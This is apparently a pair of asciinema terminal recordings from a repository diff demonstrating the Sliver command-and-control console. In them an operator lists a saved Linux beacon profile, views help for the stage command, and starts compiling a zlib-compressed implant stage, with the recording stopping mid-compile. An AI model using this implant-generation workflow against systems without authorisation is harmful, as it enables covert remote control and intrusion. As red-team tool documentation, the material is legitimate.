[30.343265, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[30.345535, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[26C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[30.442674, "o", "\u001b[36D\u001b[26C\u001b[6n"]
|
||||
[30.444974, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[30.445432, "o", "\u001b[0 q\r\n"]
|
||||
[30.469446, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[30.479795, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[30.480886, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[30.482318, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[30.643778, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[30.647913, "o", "\u001b[6n"]
|
||||
[30.657421, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[30.776676, "o", "\u001b[?25l"]
|
||||
[30.780491, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[30.789737, "o", "ex\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[30.79069, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[30.855034, "o", "\u001b[?25l"]
|
||||
[30.856775, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[30.86476, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[30.864993, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[31.035261, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[31.04693, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[31.047674, "o", "\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[31.527869, "o", "\u001b[13D\u001b[9C\u001b[6n"]
|
||||
[31.5304, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[31.531474, "o", "\u001b[0 q\r\n"]
|
||||
[31.540564, "o", "Exiting...\r\n"]
|
||||
[31.556719, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[31.924303, "o", "e"]
|
||||
[32.172526, "o", "x"]
|
||||
[32.398663, "o", "i"]
|
||||
[32.53265, "o", "t"]
|
||||
[33.211504, "o", "\r\n"]
|
||||
[33.213445, "o", "\u001b[?2004l\rexit\r\n"]
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,788 @@
|
||||
{"version": 2, "width": 214, "height": 52, "timestamp": 1714674882, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.141527, "o", "\u001b[?2004h"]
|
||||
[0.150452, "o", "root@98df0494f659:~# "]
|
||||
[0.821313, "o", "."]
|
||||
[0.874166, "o", "/"]
|
||||
[1.057214, "o", "s"]
|
||||
[1.175243, "o", "l"]
|
||||
[1.271121, "o", "i"]
|
||||
[1.38579, "o", "v"]
|
||||
[1.509307, "o", "e"]
|
||||
[1.599597, "o", "r"]
|
||||
[1.694155, "o", "-"]
|
||||
[1.857931, "o", "s"]
|
||||
[1.883648, "o", "e"]
|
||||
[1.935441, "o", "r"]
|
||||
[2.187186, "o", "v"]
|
||||
[2.361525, "o", "e"]
|
||||
[2.442158, "o", "r"]
|
||||
[2.534032, "o", "\r\n\u001b[?2004l\r"]
|
||||
[3.877761, "o", "\u001b[31m\r\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\r\n\u001b[0m\r\nAll hackers gain miracle\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 331faeb8ef9a1eb2d385d458a544014c6724f71f\r\r\n\u001b[1m\u001b[36m[*] \u001b"]
|
||||
[3.878321, "o", "[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.881417, "o", "\r\n"]
|
||||
[3.910333, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.912179, "o", "\u001b[1 q"]
|
||||
[3.914283, "o", "\u001b[?25l"]
|
||||
[3.914941, "o", "\u001b[214D"]
|
||||
[3.91531, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[3.918263, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.918563, "o", "\r\r\n"]
|
||||
[3.919435, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[5.073098, "o", "\u001b[?25l\u001b[214D"]
|
||||
[5.078434, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.089176, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[5.177503, "o", "\u001b[?25l\u001b[214D"]
|
||||
[5.180064, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.184517, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[5.288231, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.298034, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[5.397933, "o", "\u001b[?25l"]
|
||||
[5.409413, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.419532, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[5.489024, "o", "\u001b[?25l\u001b[214D"]
|
||||
[5.489253, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.492109, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[5.550034, "o", "\u001b[?25l\u001b[214D"]
|
||||
[5.550644, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.554876, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[5.555348, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[5.634582, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.63904, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.639797, "o", "\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[5.672997, "o", "\u001b[?25l"]
|
||||
[5.674048, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.676912, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[5.677839, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[6.028625, "o", "\u001b[17D\u001b[9C\u001b[6n"]
|
||||
[6.031804, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[6.035446, "o", "\u001b[0 q\r\n"]
|
||||
[6.080003, "o", " Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations C2 Profile \r\n=============== ============== ============= ======================= ======= ============ ============= ============= ============\r\n rubyc2profile beacon linux/amd64 [1] https://localhost true EXECUTABLE disabled ruby \r\n"]
|
||||
[6.081043, "o", "\r\n"]
|
||||
[6.091251, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.091854, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.093821, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.094635, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[6.548869, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.563285, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[6.624869, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.626342, "o", "\u001b[6n"]
|
||||
[6.630476, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.631001, "o", "\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[6.720432, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.724932, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[6.725222, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[6.865965, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[6.867793, "o", "\u001b[6n"]
|
||||
[6.871524, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.873212, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[6.947443, "o", "\u001b[?25l\u001b[214D"]
|
||||
[6.949298, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.952834, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[6.953139, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[7.016834, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.021422, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[7.022957, "o", "\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[7.04583, "o", "\u001b[?25l"]
|
||||
[7.047008, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.050574, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[7.104552, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.105269, "o", "\u001b[6n"]
|
||||
[7.107419, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[7.107546, "o", "\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[7.402988, "o", "\u001b[?25l"]
|
||||
[7.40837, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.417907, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[7.419024, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[7.691268, "o", "\u001b[?25l"]
|
||||
[7.69341, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.699425, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.701939, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[7.748585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.749144, "o", "\u001b[6n"]
|
||||
[7.751257, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[7.751983, "o", "\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[7.927016, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.939609, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C"]
|
||||
[7.941154, "o", "\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[8.078519, "o", "\u001b[?25l"]
|
||||
[8.081521, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.090193, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[8.092062, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[8.128257, "o", "\u001b[?25l\u001b[214D"]
|
||||
[8.1305, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.13586, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.137217, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
|
||||
[8.226354, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.230511, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[8.230643, "o", "\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
|
||||
[8.581286, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.589781, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[8.591277, "o", "\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
|
||||
[8.845512, "o", "\u001b[?25l"]
|
||||
[8.850584, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[8.86043, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[8.861929, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[9.135602, "o", "\u001b[26D\u001b[9C\u001b[6n"]
|
||||
[9.14604, "o", "\u001b[214D\u001b[26C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[9.147513, "o", "\u001b[0 q\r\n"]
|
||||
[9.163342, "o", "\u001b[1mCommand:\u001b[0m stage [name] <options>\r\n\t\u001b[1mAbout:\u001b[0m Generate and encrypt or encode an implant from a saved profile (see 'profiles stage --help').\r\n\r\n"]
|
||||
[9.175319, "o", "Usage:\r\n profiles stage [flags]\r\n\r\nFlags:\r\n -i, --aes-encrypt-iv string AES Encryption IV\r\n -k, --aes-encrypt-key string AES Encryption Key\r\n -c, --compress string Compress stage (zlib, gzip, deflate9 or deflate)\r\n -h, --help help for stage\r\n -n, --name string Implant name\r\n -p, --prepend-size Prepend stage size\r\n -r, --rc4-encrypt-key string RC4 encryption key\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
|
||||
[9.178545, "o", "\r\n"]
|
||||
[9.191743, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[9.192339, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[9.194427, "o", "\u001b[6n"]
|
||||
[9.196681, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[9.197404, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[9.744219, "o", "\u001b[?25l"]
|
||||
[9.750337, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[9.757572, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[9.758758, "o", "\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[10.270204, "o", "\u001b[?25l"]
|
||||
[10.271861, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.278797, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.279594, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
|
||||
[10.662393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.676439, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
|
||||
[11.36124, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.372065, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[11.3737, "o", "\u001b[214D\u001b[1A\u001b[25D\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
|
||||
[11.748431, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.768073, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.769565, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[11.87228, "o", "\u001b[?25l\u001b[214D"]
|
||||
[11.876708, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.882255, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[11.883272, "o", "\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C\u001b[?25h"]
|
||||
[12.589667, "o", "\u001b[?25l"]
|
||||
[12.591899, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.597484, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mz\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.599147, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
|
||||
[12.712235, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[12.723138, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
|
||||
[12.807141, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.808394, "o", "\u001b[6n"]
|
||||
[12.811193, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[12.812156, "o", "\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
|
||||
[12.912585, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[12.915424, "o", "\u001b[6n"]
|
||||
[12.921074, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.922124, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
|
||||
[13.067215, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.071655, "o", "\u001b[6n"]
|
||||
[13.07822, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[32D\u001b[9C"]
|
||||
[13.079424, "o", "\u001b[214D\u001b[32C\u001b[?25h"]
|
||||
[13.477401, "o", "\u001b[1 q"]
|
||||
[13.514129, "o", "\u001b[1 q"]
|
||||
[13.514287, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[13.51665, "o", "\u001b[6n"]
|
||||
[13.519025, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mzlib rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[13.519355, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[46D\u001b[9C\u001b[214D\u001b[46C\u001b[?25h"]
|
||||
[14.27721, "o", "\u001b[46D\u001b[9C\u001b[6n"]
|
||||
[14.294504, "o", "\u001b[214D\u001b[46C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[14.297147, "o", "\u001b[0 q\r\n"]
|
||||
[14.429556, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[14.530618, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[14.635231, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[14.739895, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[14.840814, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[14.94208, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[15.043267, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[15.14769, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[15.249087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[15.349774, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[15.450561, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[15.551188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[15.652064, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[15.756974, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[15.857802, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[15.958113, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[16.058427, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[16.159199, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[16.260288, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[16.361214, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[16.462186, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[16.562509, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[16.665161, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[16.765818, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[16.867133, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[16.967834, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[17.068846, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[17.169742, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[17.269743, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[17.370246, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[17.471269, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[17.572067, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[17.672828, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[17.773239, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[17.876465, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[17.976632, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
